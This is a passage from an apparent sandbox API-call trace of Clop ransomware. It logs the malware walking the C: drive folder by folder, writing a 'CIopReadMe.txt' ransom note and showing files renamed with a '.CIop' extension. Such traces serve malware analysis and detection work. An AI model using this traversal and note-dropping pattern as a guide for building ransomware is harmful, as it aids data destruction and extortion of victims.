lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x624 [0117.904] SetErrorMode (uMode=0x1) returned 0x1 [0117.904] wsprintfW (in: param_1=0x2dcdeec, param_2="%s\\CIopReadMe.txt" | out: param_1="C:\\CIopReadMe.txt") returned 17 [0117.904] CreateFileW (lpFileName="C:\\CIopReadMe.txt" (normalized: "c:\\ciopreadme.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x524 [0117.904] CloseHandle (hObject=0x524) returned 1 [0117.905] FindNextFileW (in: hFindFile=0x67e9f8, lpFindFileData=0x2dcec90 | out: lpFindFileData=0x2dcec90) returned 1 [0117.905] lstrcmpW (lpString1="BOOTNXT.CIop", lpString2="..") returned 1 [0117.905] lstrcmpW (lpString1="BOOTNXT.CIop", lpString2=".") returned 1 [0117.905] lstrlenW (lpString=".CIop") returned 5 [0117.905] FindNextFileW (in: hFindFile=0x67e9f8, lpFindFileData=0x2dcec90 | out: lpFindFileData=0x2dcec90) returned 1 [0117.905] lstrcmpW (lpString1="BOOTSECT.BAK", lpString2="..") returned 1 [0117.905] lstrcmpW (lpString1="BOOTSECT.BAK", lpString2=".") returned 1 [0117.905] lstrlenW (lpString="bootsect.bak") returned 12 [0117.905] FindNextFileW (in: hFindFile=0x67e9f8, lpFindFileData=0x2dcec90 | out: lpFindFileData=0x2dcec90) returned 1 [0117.905] lstrcmpW (lpString1="CIopReadMe.txt", lpString2="..") returned 1 [0117.905] lstrcmpW (lpString1="CIopReadMe.txt", lpString2=".") returned 1 [0117.905] lstrlenW (lpString="CIopReadMe.txt") returned 14 [0117.905] FindNextFileW (in: hFindFile=0x67e9f8, lpFindFileData=0x2dcec90 | out: lpFindFileData=0x2dcec90) returned 1 [0117.905] FindNextFileW (in: hFindFile=0x67e9f8, lpFindFileData=0x2dcec90 | out: lpFindFileData=0x2dcec90) returned 1 [0117.905] FindNextFileW (in: hFindFile=0x67e9f8, lpFindFileData=0x2dcec90 | out: lpFindFileData=0x2dcec90) returned 1 [0117.905] lstrcmpW (lpString1="hiberfil.sys", lpString2="..") returned 1 [0117.905] lstrcmpW (lpString1="hiberfil.sys", lpString2=".") returned 1 [0117.905] lstrlenW (lpString=".sys") returned 4 [0117.905] FindNextFileW (in: hFindFile=0x67e9f8, lpFindFileData=0x2dcec90 | out: lpFindFileData=0x2dcec90) returned 1 [0117.905] lstrcmpW (lpString1="pagefile.sys", lpString2="..") returned 1 [0117.905] lstrcmpW (lpString1="pagefile.sys", lpString2=".") returned 1 [0117.905] lstrlenW (lpString=".sys") returned 4 [0117.905] FindNextFileW (in: hFindFile=0x67e9f8, lpFindFileData=0x2dcec90 | out: lpFindFileData=0x2dcec90) returned 1 [0117.905] FindNextFileW (in: hFindFile=0x67e9f8, lpFindFileData=0x2dcec90 | out: lpFindFileData=0x2dcec90) returned 1 [0117.905] FindNextFileW (in: hFindFile=0x67e9f8, lpFindFileData=0x2dcec90 | out: lpFindFileData=0x2dcec90) returned 1 [0117.905] FindNextFileW (in: hFindFile=0x67e9f8, lpFindFileData=0x2dcec90 | out: lpFindFileData=0x2dcec90) returned 1 [0117.905] FindNextFileW (in: hFindFile=0x67e9f8, lpFindFileData=0x2dcec90 | out: lpFindFileData=0x2dcec90) returned 1 [0117.905] FindNextFileW (in: hFindFile=0x67e9f8, lpFindFileData=0x2dcec90 | out: lpFindFileData=0x2dcec90) returned 1 [0117.905] lstrcmpW (lpString1="swapfile.sys", lpString2="..") returned 1 [0117.905] lstrcmpW (lpString1="swapfile.sys", lpString2=".") returned 1 [0117.905] lstrlenW (lpString=".sys") returned 4 [0117.905] FindNextFileW (in: hFindFile=0x67e9f8, lpFindFileData=0x2dcec90 | out: lpFindFileData=0x2dcec90) returned 1 [0117.905] FindNextFileW (in: hFindFile=0x67e9f8, lpFindFileData=0x2dcec90 | out: lpFindFileData=0x2dcec90) returned 1 [0117.905] FindNextFileW (in: hFindFile=0x67e9f8, lpFindFileData=0x2dcec90 | out: lpFindFileData=0x2dcec90) returned 1 [0117.905] FindNextFileW (in: hFindFile=0x67e9f8, lpFindFileData=0x2dcec90 | out: lpFindFileData=0x2dcec90) returned 0 [0117.905] FindClose (in: hFindFile=0x67e9f8 | out: hFindFile=0x67e9f8) returned 1 [0117.905] FindClose (in: hFindFile=0x67e9f8 | out: hFindFile=0x67e9f8) returned 0 [0117.906] lstrcpyW (in: lpString1=0x2dcfb10, lpString2="C:" | out: lpString1="C:") returned="C:" [0117.906] lstrcatW (in: lpString1="C:", lpString2="\\*.*" | out: lpString1="C:\\*.*") returned="C:\\*.*" [0117.906] FindFirstFileW (in: lpFileName="C:\\*.*", lpFindFileData=0x2dcec90 | out: lpFindFileData=0x2dcec90) returned 0x67e9f8 [0117.906] PathFindFileNameW (pszPath="C:") returned="C:" [0117.906] lstrcpyW (in: lpString1=0x2dce0f4, lpString2="C:" | out: lpString1="C:") returned="C:" [0117.906] lstrcmpW (lpString1="$Recycle.Bin", lpString2="..") returned -1 [0117.906] lstrcmpW (lpString1="$Recycle.Bin", lpString2=".") returned -1 [0117.906] lstrcpyW (in: lpString1=0x2dcf2f0, lpString2="C:" | out: lpString1="C:") returned="C:" [0117.906] lstrcatW (in: lpString1="C:", lpString2="\\" | out: lpString1="C:\\") returned="C:\\" [0117.906] lstrcatW (in: lpString1="C:\\", lpString2="$Recycle.Bin" | out: lpString1="C:\\$Recycle.Bin") returned="C:\\$Recycle.Bin" [0117.906] SetErrorMode (uMode=0x1) returned 0x1 [0117.906] lstrcpyW (in: lpString1=0x2dcded8, lpString2="C:\\$Recycle.Bin" | out: lpString1="C:\\$Recycle.Bin") returned="C:\\$Recycle.Bin" [0117.906] lstrcatW (in: lpString1="C:\\$Recycle.Bin", lpString2="\\" | out: lpString1="C:\\$Recycle.Bin\\") returned="C:\\$Recycle.Bin\\" [0117.906] lstrcpyW (in: lpString1=0x2dcdac8, lpString2="C:\\$Recycle.Bin\\" | out: lpString1="C:\\$Recycle.Bin\\") returned="C:\\$Recycle.Bin\\" [0117.906] lstrcatW (in: lpString1="C:\\$Recycle.Bin\\", lpString2="*.*" | out: lpString1="C:\\$Recycle.Bin\\*.*") returned="C:\\$Recycle.Bin\\*.*" [0117.906] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\*.*", lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 0x67e3f8 [0117.906] PathFindFileNameW (pszPath="C:\\$Recycle.Bin") returned="$Recycle.Bin" [0117.906] lstrcpyW (in: lpString1=0x2dcc4bc, lpString2="$Recycle.Bin" | out: lpString1="$Recycle.Bin") returned="$Recycle.Bin" [0117.906] FindClose (in: hFindFile=0x67e3f8 | out: hFindFile=0x67e3f8) returned 1 [0117.906] lstrcpyW (in: lpString1=0x2dcded8, lpString2="C:\\$Recycle.Bin" | out: lpString1="C:\\$Recycle.Bin") returned="C:\\$Recycle.Bin" [0117.906] lstrcatW (in: lpString1="C:\\$Recycle.Bin", lpString2="\\*.*" | out: lpString1="C:\\$Recycle.Bin\\*.*") returned="C:\\$Recycle.Bin\\*.*" [0117.906] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\*.*", lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 0x67e478 [0117.908] PathFindFileNameW (pszPath="C:\\$Recycle.Bin") returned="$Recycle.Bin" [0117.908] lstrcpyW (in: lpString1=0x2dcc4bc, lpString2="$Recycle.Bin" | out: lpString1="$Recycle.Bin") returned="$Recycle.Bin" [0117.908] FindClose (in: hFindFile=0x67e478 | out: hFindFile=0x67e478) returned 1 [0117.908] FindNextFileW (in: hFindFile=0x67e9f8, lpFindFileData=0x2dcec90 | out: lpFindFileData=0x2dcec90) returned 1 [0117.908] lstrcmpW (lpString1="Boot", lpString2="..") returned 1 [0117.908] lstrcmpW (lpString1="Boot", lpString2=".") returned 1 [0117.908] lstrcpyW (in: lpString1=0x2dcf2f0, lpString2="C:" | out: lpString1="C:") returned="C:" [0117.908] lstrcatW (in: lpString1="C:", lpString2="\\" | out: lpString1="C:\\") returned="C:\\" [0117.908] lstrcatW (in: lpString1="C:\\", lpString2="Boot" | out: lpString1="C:\\Boot") returned="C:\\Boot" [0117.908] SetErrorMode (uMode=0x1) returned 0x1 [0117.908] lstrcpyW (in: lpString1=0x2dcded8, lpString2="C:\\Boot" | out: lpString1="C:\\Boot") returned="C:\\Boot" [0117.908] lstrcatW (in: lpString1="C:\\Boot", lpString2="\\" | out: lpString1="C:\\Boot\\") returned="C:\\Boot\\" [0117.908] lstrcpyW (in: lpString1=0x2dcdac8, lpString2="C:\\Boot\\" | out: lpString1="C:\\Boot\\") returned="C:\\Boot\\" [0117.908] lstrcatW (in: lpString1="C:\\Boot\\", lpString2="*.*" | out: lpString1="C:\\Boot\\*.*") returned="C:\\Boot\\*.*" [0117.908] FindFirstFileW (in: lpFileName="C:\\Boot\\*.*", lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 0x67e6b8 [0117.908] PathFindFileNameW (pszPath="C:\\Boot") returned="Boot" [0117.908] lstrcpyW (in: lpString1=0x2dcc4bc, lpString2="Boot" | out: lpString1="Boot") returned="Boot" [0117.908] FindClose (in: hFindFile=0x67e6b8 | out: hFindFile=0x67e6b8) returned 1 [0117.908] lstrcpyW (in: lpString1=0x2dcded8, lpString2="C:\\Boot" | out: lpString1="C:\\Boot") returned="C:\\Boot" [0117.908] lstrcatW (in: lpString1="C:\\Boot", lpString2="\\*.*" | out: lpString1="C:\\Boot\\*.*") returned="C:\\Boot\\*.*" [0117.908] FindFirstFileW (in: lpFileName="C:\\Boot\\*.*", lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 0x67e3f8 [0117.909] PathFindFileNameW (pszPath="C:\\Boot") returned="Boot" [0117.909] lstrcpyW (in: lpString1=0x2dcc4bc, lpString2="Boot" | out: lpString1="Boot") returned="Boot" [0117.909] FindClose (in: hFindFile=0x67e3f8 | out: hFindFile=0x67e3f8) returned 1 [0117.909] FindNextFileW (in: hFindFile=0x67e9f8, lpFindFileData=0x2dcec90 | out: lpFindFileData=0x2dcec90) returned 1 [0117.909] FindNextFileW (in: hFindFile=0x67e9f8, lpFindFileData=0x2dcec90 | out: lpFindFileData=0x2dcec90) returned 1 [0117.909] FindNextFileW (in: hFindFile=0x67e9f8, lpFindFileData=0x2dcec90 | out: lpFindFileData=0x2dcec90) returned 1 [0117.909] FindNextFileW (in: hFindFile=0x67e9f8, lpFindFileData=0x2dcec90 | out: lpFindFileData=0x2dcec90) returned 1 [0117.909] FindNextFileW (in: hFindFile=0x67e9f8, lpFindFileData=0x2dcec90 | out: lpFindFileData=0x2dcec90) returned 1 [0117.909] lstrcmpW (lpString1="Config.Msi", lpString2="..") returned 1 [0117.909] lstrcmpW (lpString1="Config.Msi", lpString2=".") returned 1 [0117.909] lstrcpyW (in: lpString1=0x2dcf2f0, lpString2="C:" | out: lpString1="C:") returned="C:" [0117.909] lstrcatW (in: lpString1="C:", lpString2="\\" | out: lpString1="C:\\") returned="C:\\" [0117.909] lstrcatW (in: lpString1="C:\\", lpString2="Config.Msi" | out: lpString1="C:\\Config.Msi") returned="C:\\Config.Msi" [0117.909] SetErrorMode (uMode=0x1) returned 0x1 [0117.909] lstrcpyW (in: lpString1=0x2dcded8, lpString2="C:\\Config.Msi" | out: lpString1="C:\\Config.Msi") returned="C:\\Config.Msi" [0117.909] lstrcatW (in: lpString1="C:\\Config.Msi", lpString2="\\" | out: lpString1="C:\\Config.Msi\\") returned="C:\\Config.Msi\\" [0117.909] lstrcpyW (in: lpString1=0x2dcdac8, lpString2="C:\\Config.Msi\\" | out: lpString1="C:\\Config.Msi\\") returned="C:\\Config.Msi\\" [0117.909] lstrcatW (in: lpString1="C:\\Config.Msi\\", lpString2="*.*" | out: lpString1="C:\\Config.Msi\\*.*") returned="C:\\Config.Msi\\*.*" [0117.909] FindFirstFileW (in: lpFileName="C:\\Config.Msi\\*.*", lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 0x67e3f8 [0117.909] PathFindFileNameW (pszPath="C:\\Config.Msi") returned="Config.Msi" [0117.909] lstrcpyW (in: lpString1=0x2dcc4bc, lpString2="Config.Msi" | out: lpString1="Config.Msi") returned="Config.Msi" [0117.909] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 1 [0117.909] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 0 [0117.909] FindClose (in: hFindFile=0x67e3f8 | out: hFindFile=0x67e3f8) returned 1 [0117.909] FindClose (in: hFindFile=0x67e3f8 | out: hFindFile=0x67e3f8) returned 0 [0117.910] lstrcpyW (in: lpString1=0x2dcded8, lpString2="C:\\Config.Msi" | out: lpString1="C:\\Config.Msi") returned="C:\\Config.Msi" [0117.910] lstrcatW (in: lpString1="C:\\Config.Msi", lpString2="\\*.*" | out: lpString1="C:\\Config.Msi\\*.*") returned="C:\\Config.Msi\\*.*" [0117.910] FindFirstFileW (in: lpFileName="C:\\Config.Msi\\*.*", lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 0x67e6b8 [0117.910] PathFindFileNameW (pszPath="C:\\Config.Msi") returned="Config.Msi" [0117.910] lstrcpyW (in: lpString1=0x2dcc4bc, lpString2="Config.Msi" | out: lpString1="Config.Msi") returned="Config.Msi" [0117.910] lstrcmpW (lpString1=".", lpString2="..") returned -1 [0117.910] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0117.910] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 1 [0117.910] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0117.910] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 0 [0117.910] FindClose (in: hFindFile=0x67e6b8 | out: hFindFile=0x67e6b8) returned 1 [0117.910] FindClose (in: hFindFile=0x67e6b8 | out: hFindFile=0x67e6b8) returned 0 [0117.910] FindNextFileW (in: hFindFile=0x67e9f8, lpFindFileData=0x2dcec90 | out: lpFindFileData=0x2dcec90) returned 1 [0117.910] lstrcmpW (lpString1="Documents and Settings", lpString2="..") returned 1 [0117.910] lstrcmpW (lpString1="Documents and Settings", lpString2=".") returned 1 [0117.910] lstrcpyW (in: lpString1=0x2dcf2f0, lpString2="C:" | out: lpString1="C:") returned="C:" [0117.910] lstrcatW (in: lpString1="C:", lpString2="\\" | out: lpString1="C:\\") returned="C:\\" [0117.910] lstrcatW (in: lpString1="C:\\", lpString2="Documents and Settings" | out: lpString1="C:\\Documents and Settings") returned="C:\\Documents and Settings" [0117.910] SetErrorMode (uMode=0x1) returned 0x1 [0117.910] lstrcpyW (in: lpString1=0x2dcded8, lpString2="C:\\Documents and Settings" | out: lpString1="C:\\Documents and Settings") returned="C:\\Documents and Settings" [0117.910] lstrcatW (in: lpString1="C:\\Documents and Settings", lpString2="\\" | out: lpString1="C:\\Documents and Settings\\") returned="C:\\Documents and Settings\\" [0117.910] lstrcpyW (in: lpString1=0x2dcdac8, lpString2="C:\\Documents and Settings\\" | out: lpString1="C:\\Documents and Settings\\") returned="C:\\Documents and Settings\\" [0117.910] lstrcatW (in: lpString1="C:\\Documents and Settings\\", lpString2="*.*" | out: lpString1="C:\\Documents and Settings\\*.*") returned="C:\\Documents and Settings\\*.*" [0117.910] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\*.*", lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 0xffffffff [0117.910] PathFindFileNameW (pszPath="C:\\Documents and Settings") returned="Documents and Settings" [0117.911] lstrcpyW (in: lpString1=0x2dcc4bc, lpString2="Documents and Settings" | out: lpString1="Documents and Settings") returned="Documents and Settings" [0117.911] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 0 [0117.911] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0117.911] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0117.911] lstrcpyW (in: lpString1=0x2dcded8, lpString2="C:\\Documents and Settings" | out: lpString1="C:\\Documents and Settings") returned="C:\\Documents and Settings" [0117.911] lstrcatW (in: lpString1="C:\\Documents and Settings", lpString2="\\*.*" | out: lpString1="C:\\Documents and Settings\\*.*") returned="C:\\Documents and Settings\\*.*" [0117.911] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\*.*", lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 0xffffffff [0117.911] PathFindFileNameW (pszPath="C:\\Documents and Settings") returned="Documents and Settings" [0117.911] lstrcpyW (in: lpString1=0x2dcc4bc, lpString2="Documents and Settings" | out: lpString1="Documents and Settings") returned="Documents and Settings" [0117.911] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0117.911] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 0 [0117.911] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0117.911] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0117.911] FindNextFileW (in: hFindFile=0x67e9f8, lpFindFileData=0x2dcec90 | out: lpFindFileData=0x2dcec90) returned 1 [0117.911] FindNextFileW (in: hFindFile=0x67e9f8, lpFindFileData=0x2dcec90 | out: lpFindFileData=0x2dcec90) returned 1 [0117.911] FindNextFileW (in: hFindFile=0x67e9f8, lpFindFileData=0x2dcec90 | out: lpFindFileData=0x2dcec90) returned 1 [0117.911] lstrcmpW (lpString1="PerfLogs", lpString2="..") returned 1 [0117.911] lstrcmpW (lpString1="PerfLogs", lpString2=".") returned 1 [0117.911] lstrcpyW (in: lpString1=0x2dcf2f0, lpString2="C:" | out: lpString1="C:") returned="C:" [0117.911] lstrcatW (in: lpString1="C:", lpString2="\\" | out: lpString1="C:\\") returned="C:\\" [0117.911] lstrcatW (in: lpString1="C:\\", lpString2="PerfLogs" | out: lpString1="C:\\PerfLogs") returned="C:\\PerfLogs" [0117.911] SetErrorMode (uMode=0x1) returned 0x1 [0117.911] lstrcpyW (in: lpString1=0x2dcded8, lpString2="C:\\PerfLogs" | out: lpString1="C:\\PerfLogs") returned="C:\\PerfLogs" [0117.911] lstrcatW (in: lpString1="C:\\PerfLogs", lpString2="\\" | out: lpString1="C:\\PerfLogs\\") returned="C:\\PerfLogs\\" [0117.911] lstrcpyW (in: lpString1=0x2dcdac8, lpString2="C:\\PerfLogs\\" | out: lpString1="C:\\PerfLogs\\") returned="C:\\PerfLogs\\" [0117.911] lstrcatW (in: lpString1="C:\\PerfLogs\\", lpString2="*.*" | out: lpString1="C:\\PerfLogs\\*.*") returned="C:\\PerfLogs\\*.*" [0117.911] FindFirstFileW (in: lpFileName="C:\\PerfLogs\\*.*", lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 0x67e3f8 [0117.911] PathFindFileNameW (pszPath="C:\\PerfLogs") returned="PerfLogs" [0117.911] lstrcpyW (in: lpString1=0x2dcc4bc, lpString2="PerfLogs" | out: lpString1="PerfLogs") returned="PerfLogs" [0117.911] FindClose (in: hFindFile=0x67e3f8 | out: hFindFile=0x67e3f8) returned 1 [0117.911] lstrcpyW (in: lpString1=0x2dcded8, lpString2="C:\\PerfLogs" | out: lpString1="C:\\PerfLogs") returned="C:\\PerfLogs" [0117.912] lstrcatW (in: lpString1="C:\\PerfLogs", lpString2="\\*.*" | out: lpString1="C:\\PerfLogs\\*.*") returned="C:\\PerfLogs\\*.*" [0117.912] FindFirstFileW (in: lpFileName="C:\\PerfLogs\\*.*", lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 0x67e478 [0117.912] PathFindFileNameW (pszPath="C:\\PerfLogs") returned="PerfLogs" [0117.912] lstrcpyW (in: lpString1=0x2dcc4bc, lpString2="PerfLogs" | out: lpString1="PerfLogs") returned="PerfLogs" [0117.912] FindClose (in: hFindFile=0x67e478 | out: hFindFile=0x67e478) returned 1 [0117.912] FindNextFileW (in: hFindFile=0x67e9f8, lpFindFileData=0x2dcec90 | out: lpFindFileData=0x2dcec90) returned 1 [0117.912] lstrcmpW (lpString1="Program Files", lpString2="..") returned 1 [0117.912] lstrcmpW (lpString1="Program Files", lpString2=".") returned 1 [0117.912] lstrcpyW (in: lpString1=0x2dcf2f0, lpString2="C:" | out: lpString1="C:") returned="C:" [0117.912] lstrcatW (in: lpString1="C:", lpString2="\\" | out: lpString1="C:\\") returned="C:\\" [0117.912] lstrcatW (in: lpString1="C:\\", lpString2="Program Files" | out: lpString1="C:\\Program Files") returned="C:\\Program Files" [0117.912] SetErrorMode (uMode=0x1) returned 0x1 [0117.912] lstrcpyW (in: lpString1=0x2dcded8, lpString2="C:\\Program Files" | out: lpString1="C:\\Program Files") returned="C:\\Program Files" [0117.912] lstrcatW (in: lpString1="C:\\Program Files", lpString2="\\" | out: lpString1="C:\\Program Files\\") returned="C:\\Program Files\\" [0117.912] lstrcpyW (in: lpString1=0x2dcdac8, lpString2="C:\\Program Files\\" | out: lpString1="C:\\Program Files\\") returned="C:\\Program Files\\" [0117.912] lstrcatW (in: lpString1="C:\\Program Files\\", lpString2="*.*" | out: lpString1="C:\\Program Files\\*.*") returned="C:\\Program Files\\*.*" [0117.912] FindFirstFileW (in: lpFileName="C:\\Program Files\\*.*", lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 0x67e6b8 [0117.912] PathFindFileNameW (pszPath="C:\\Program Files") returned="Program Files" [0117.912] lstrcpyW (in: lpString1=0x2dcc4bc, lpString2="Program Files" | out: lpString1="Program Files") returned="Program Files" [0117.912] FindClose (in: hFindFile=0x67e6b8 | out: hFindFile=0x67e6b8) returned 1 [0117.912] lstrcpyW (in: lpString1=0x2dcded8, lpString2="C:\\Program Files" | out: lpString1="C:\\Program Files") returned="C:\\Program Files" [0117.912] lstrcatW (in: lpString1="C:\\Program Files", lpString2="\\*.*" | out: lpString1="C:\\Program Files\\*.*") returned="C:\\Program Files\\*.*" [0117.912] FindFirstFileW (in: lpFileName="C:\\Program Files\\*.*", lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 0x67e6b8 [0117.912] PathFindFileNameW (pszPath="C:\\Program Files") returned="Program Files" [0117.913] lstrcpyW (in: lpString1=0x2dcc4bc, lpString2="Program Files" | out: lpString1="Program Files") returned="Program Files" [0117.913] FindClose (in: hFindFile=0x67e6b8 | out: hFindFile=0x67e6b8) returned 1 [0117.913] FindNextFileW (in: hFindFile=0x67e9f8, lpFindFileData=0x2dcec90 | out: lpFindFileData=0x2dcec90) returned 1 [0117.913] lstrcmpW (lpString1="Program Files (x86)", lpString2="..") returned 1 [0117.913] lstrcmpW (lpString1="Program Files (x86)", lpString2=".") returned 1 [0117.913] lstrcpyW (in: lpString1=0x2dcf2f0, lpString2="C:" | out: lpString1="C:") returned="C:" [0117.913] lstrcatW (in: lpString1="C:", lpString2="\\" | out: lpString1="C:\\") returned="C:\\" [0117.913] lstrcatW (in: lpString1="C:\\", lpString2="Program Files (x86)" | out: lpString1="C:\\Program Files (x86)") returned="C:\\Program Files (x86)" [0117.913] SetErrorMode (uMode=0x1) returned 0x1 [0117.913] lstrcpyW (in: lpString1=0x2dcded8, lpString2="C:\\Program Files (x86)" | out: lpString1="C:\\Program Files (x86)") returned="C:\\Program Files (x86)" [0117.913] lstrcatW (in: lpString1="C:\\Program Files (x86)", lpString2="\\" | out: lpString1="C:\\Program Files (x86)\\") returned="C:\\Program Files (x86)\\" [0117.913] lstrcpyW (in: lpString1=0x2dcdac8, lpString2="C:\\Program Files (x86)\\" | out: lpString1="C:\\Program Files (x86)\\") returned="C:\\Program Files (x86)\\" [0117.913] lstrcatW (in: lpString1="C:\\Program Files (x86)\\", lpString2="*.*" | out: lpString1="C:\\Program Files (x86)\\*.*") returned="C:\\Program Files (x86)\\*.*" [0117.913] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\*.*", lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 0x67e3f8 [0117.913] PathFindFileNameW (pszPath="C:\\Program Files (x86)") returned="Program Files (x86)" [0117.913] lstrcpyW (in: lpString1=0x2dcc4bc, lpString2="Program Files (x86)" | out: lpString1="Program Files (x86)") returned="Program Files (x86)" [0117.913] FindClose (in: hFindFile=0x67e3f8 | out: hFindFile=0x67e3f8) returned 1 [0117.913] lstrcpyW (in: lpString1=0x2dcded8, lpString2="C:\\Program Files (x86)" | out: lpString1="C:\\Program Files (x86)") returned="C:\\Program Files (x86)" [0117.913] lstrcatW (in: lpString1="C:\\Program Files (x86)", lpString2="\\*.*" | out: lpString1="C:\\Program Files (x86)\\*.*") returned="C:\\Program Files (x86)\\*.*" [0117.913] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\*.*", lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 0x67e6b8 [0117.913] PathFindFileNameW (pszPath="C:\\Program Files (x86)") returned="Program Files (x86)" [0117.913] lstrcpyW (in: lpString1=0x2dcc4bc, lpString2="Program Files (x86)" | out: lpString1="Program Files (x86)") returned="Program Files (x86)" [0117.913] FindClose (in: hFindFile=0x67e6b8 | out: hFindFile=0x67e6b8) returned 1 [0117.913] FindNextFileW (in: hFindFile=0x67e9f8, lpFindFileData=0x2dcec90 | out: lpFindFileData=0x2dcec90) returned 1 [0117.913] lstrcmpW (lpString1="ProgramData", lpString2="..") returned 1 [0117.913] lstrcmpW (lpString1="ProgramData", lpString2=".") returned 1 [0117.913] lstrcpyW (in: lpString1=0x2dcf2f0, lpString2="C:" | out: lpString1="C:") returned="C:" [0117.913] lstrcatW (in: lpString1="C:", lpString2="\\" | out: lpString1="C:\\") returned="C:\\" [0117.914] lstrcatW (in: lpString1="C:\\", lpString2="ProgramData" | out: lpString1="C:\\ProgramData") returned="C:\\ProgramData" [0117.914] SetErrorMode (uMode=0x1) returned 0x1 [0117.914] lstrcpyW (in: lpString1=0x2dcded8, lpString2="C:\\ProgramData" | out: lpString1="C:\\ProgramData") returned="C:\\ProgramData" [0117.914] lstrcatW (in: lpString1="C:\\ProgramData", lpString2="\\" | out: lpString1="C:\\ProgramData\\") returned="C:\\ProgramData\\" [0117.914] lstrcpyW (in: lpString1=0x2dcdac8, lpString2="C:\\ProgramData\\" | out: lpString1="C:\\ProgramData\\") returned="C:\\ProgramData\\" [0117.914] lstrcatW (in: lpString1="C:\\ProgramData\\", lpString2="*.*" | out: lpString1="C:\\ProgramData\\*.*") returned="C:\\ProgramData\\*.*" [0117.914] FindFirstFileW (in: lpFileName="C:\\ProgramData\\*.*", lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 0x67e6b8 [0117.914] PathFindFileNameW (pszPath="C:\\ProgramData") returned="ProgramData" [0117.914] lstrcpyW (in: lpString1=0x2dcc4bc, lpString2="ProgramData" | out: lpString1="ProgramData") returned="ProgramData" [0117.914] FindClose (in: hFindFile=0x67e6b8 | out: hFindFile=0x67e6b8) returned 1 [0117.914] lstrcpyW (in: lpString1=0x2dcded8, lpString2="C:\\ProgramData" | out: lpString1="C:\\ProgramData") returned="C:\\ProgramData" [0117.914] lstrcatW (in: lpString1="C:\\ProgramData", lpString2="\\*.*" | out: lpString1="C:\\ProgramData\\*.*") returned="C:\\ProgramData\\*.*" [0117.914] FindFirstFileW (in: lpFileName="C:\\ProgramData\\*.*", lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 0x67e3f8 [0117.914] PathFindFileNameW (pszPath="C:\\ProgramData") returned="ProgramData" [0117.914] lstrcpyW (in: lpString1=0x2dcc4bc, lpString2="ProgramData" | out: lpString1="ProgramData") returned="ProgramData" [0117.914] FindClose (in: hFindFile=0x67e3f8 | out: hFindFile=0x67e3f8) returned 1 [0117.914] FindNextFileW (in: hFindFile=0x67e9f8, lpFindFileData=0x2dcec90 | out: lpFindFileData=0x2dcec90) returned 1 [0117.914] lstrcmpW (lpString1="Recovery", lpString2="..") returned 1 [0117.914] lstrcmpW (lpString1="Recovery", lpString2=".") returned 1 [0117.914] lstrcpyW (in: lpString1=0x2dcf2f0, lpString2="C:" | out: lpString1="C:") returned="C:" [0117.914] lstrcatW (in: lpString1="C:", lpString2="\\" | out: lpString1="C:\\") returned="C:\\" [0117.914] lstrcatW (in: lpString1="C:\\", lpString2="Recovery" | out: lpString1="C:\\Recovery") returned="C:\\Recovery" [0117.914] SetErrorMode (uMode=0x1) returned 0x1 [0117.914] lstrcpyW (in: lpString1=0x2dcded8, lpString2="C:\\Recovery" | out: lpString1="C:\\Recovery") returned="C:\\Recovery" [0117.914] lstrcatW (in: lpString1="C:\\Recovery", lpString2="\\" | out: lpString1="C:\\Recovery\\") returned="C:\\Recovery\\" [0117.914] lstrcpyW (in: lpString1=0x2dcdac8, lpString2="C:\\Recovery\\" | out: lpString1="C:\\Recovery\\") returned="C:\\Recovery\\" [0117.914] lstrcatW (in: lpString1="C:\\Recovery\\", lpString2="*.*" | out: lpString1="C:\\Recovery\\*.*") returned="C:\\Recovery\\*.*" [0117.914] FindFirstFileW (in: lpFileName="C:\\Recovery\\*.*", lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 0x67e3f8 [0117.915] PathFindFileNameW (pszPath="C:\\Recovery") returned="Recovery" [0117.915] 